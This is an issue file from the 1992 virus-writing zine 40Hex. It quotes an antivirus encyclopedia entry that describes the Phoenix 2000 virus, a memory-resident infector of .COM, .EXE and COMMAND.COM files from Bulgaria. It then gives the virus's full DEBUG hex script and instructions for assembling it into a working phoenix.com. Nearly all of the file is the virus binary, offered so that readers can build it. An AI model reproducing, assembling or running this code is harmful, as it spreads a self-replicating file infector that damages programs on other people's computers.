40hex nº9:(40HEX-9.003):31/12/1992 << Back To 40hex nº 9

<< Prev file: 40HEX-9.002

Next file: 40HEX-9.004 >>

40Hex Number 9 Volume 2 Issue 5 File 003 Below is the debug script for the Phoenix 2000 virus. Let's see what Patti Hoffman's VSUM has to say about it: Phoenix 2000 Virus Name: Phoenix 2000 Aliases: V Status: Rare Discovered: December, 1991 Symptoms: .COM file growth; .EXE files altered; TSR; decrease in total system and available free memory Origin: Bulgaria Eff Length: 2,000 Bytes Type Code: PRshAK - Parasitic Resident .COM & .EXE Infector Detection Method: ViruScan, AVTK 5.54+, UTScan 22.00+ Removal Instructions: Delete infected files General Comments: The Phoenix 2000 virus was received from The Netherlands in December, 1991, where it was uploaded to several BBSes by a person identifying themself as "Dark Avenger". This virus originated in Bulgaria, and is closely related to the earlier V82 virus. Phoenix 2000 is a memory resident infector of .COM and .EXE files, as well as COMMAND.COM. The first time a program infected with Phoenix 2000 is executed, the Phoenix 2000 virus will become memory resident at the top of system memory but below the 640K DOS boundary. It will also install a small TSR in low system memory of 112 bytes. The virus at the top of system memory is 8,192 bytes in size, this is the amount total system memory as indicated by the DOS CHKDSK program will decrease by. The decrease in available free memory will be slightly more. The Phoenix 2000 virus hooks interrupt 2A. Interrupt 12's return will not have been moved. Once Phoenix 2000 is memory resident, it will infect .COM and .EXE programs, including COMMAND.COM, when they are opened, executed, copied, or accessed in any way. While it will always infect .COM files, .EXE files are only successfully infected if they contain 2,000 bytes of binary 00 characters in a continuous block. If the 2,000 bytes of binary 00 characters do not exist, the file may be partially infected, but will not be replicating copy of the virus. .COM programs, other than COMMAND.COM, will have a file length increase of 2,000 bytes with the virus being located in the middle or end of the infected file. Phoenix 2000 is unable to identify previous infections of itself on infected .COM files, so they may become reinfected by Phoenix 2000, adding an additional 2,000 bytes to the file for each reinfection. There will be no change to the file's date and time in the DOS disk directory listing. COMMAND.COM and .EXE files will not have a file length increase when they are infected with the Phoenix 2000 virus. In these two cases, the virus will overwrite 2,000 bytes of binary 00 characters within the file with the virus code. For .EXE files with less than 2,000 bytes of binary 00 characters, the file will be partially infected and may not function properly as a result. To create the virus, simply copy the script below to a file called "Phoenix.lst" and type: debug < phoenix.lst > nul Dark Angel ------------------------------------------------------------------------------- n phoenix.com e 0100 E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54 e 0110 1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7 e 0120 87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E e 0130 C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF e 0140 02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3 e 0150 AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8 e 0160 8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA e 0170 FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0 e 0180 33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01 e 0190 AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48 e 01A0 AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80 e 01B0 FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81 e 01C0 C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77 e 01D0 74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6 e 01E0 60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01 e 01F0 00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95 e 0200 E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80 e 0210 00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4 e 0220 A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96 e 0230 8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD e 0240 21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00 e 0250 00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56 e 0260 8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2 e 0270 F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0 e 0280 80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3 e 0290 2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43 e 02A0 3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE e 02B0 B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03 e 02C0 1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F e 02D0 72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06 e 02E0 1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0 e 02F0 87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80 e 0300 FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89 e 0310 16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13 e 0320 3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45 e 0330 2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA e 0340 C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2 e 0350 AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9 e 0360 75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08 e 0370 72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04 e 0380 A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C e 0390 02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A e 03A0 74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45 e 03B0 12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75 e 03C0 11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B e 03D0 C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33 e 03E0 C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02 e 03F0 72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01 e 0400 44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04 e 0410 8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A e 0420 00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B e 0430 D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50 e 0440 8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89 e 0450 55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73 e 0460 0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B e 0470 CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09 e 0480 3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56 e 0490 26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57 e 04A0 E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8 e 04B0 80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D e 04C0 47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48 e 04D0 89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83 e 04E0 C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83 e 04F0 E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01 e 0500 A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7 e 0510 F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06 e 0520 F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0 e 0530 07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7 e 0540 B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0 e 0550 B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59 e 0560 5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B e 0570 C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4 e 0580 40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57 e 0590 01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84 e 05A0 AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE e 05B0 E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2 e 05C0 F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00 e 05D0 33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD e 05E0 21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A e 05F0 45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF e 0600 58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9 e 0610 00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02 e 0620 B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04 e 0630 46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72 e 0640 02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2 e 0650 34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01 e 0660 00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F e 0670 8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC e 0680 24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87 e 0690 89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F e 06A0 2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84 e 06B0 80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82 e 06C0 80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04 e 06D0 00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51 e 06E0 52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2 e 06F0 BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00 e 0700 8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C e 0710 C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87 e 0720 44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF e 0730 17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75 e 0740 3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8 e 0750 2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1 e 0760 07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD e 0770 21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57 e 0780 AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D e 0790 4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD e 07A0 21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17 e 07B0 B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F e 07C0 44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D e 07D0 EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75 e 07E0 52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B e 07F0 44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00 e 0800 0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E e 0810 30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB e 0820 05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80 e 0830 64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80 e 0840 FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA e 0850 58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07 e 0860 80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05 e 0870 41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25 e 0880 89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C e 0890 FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D e 08A0 73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00 e 08B0 98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84 e 08C0 E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA rcx 07D0 w q ------------------------------------------------------------------------------- DA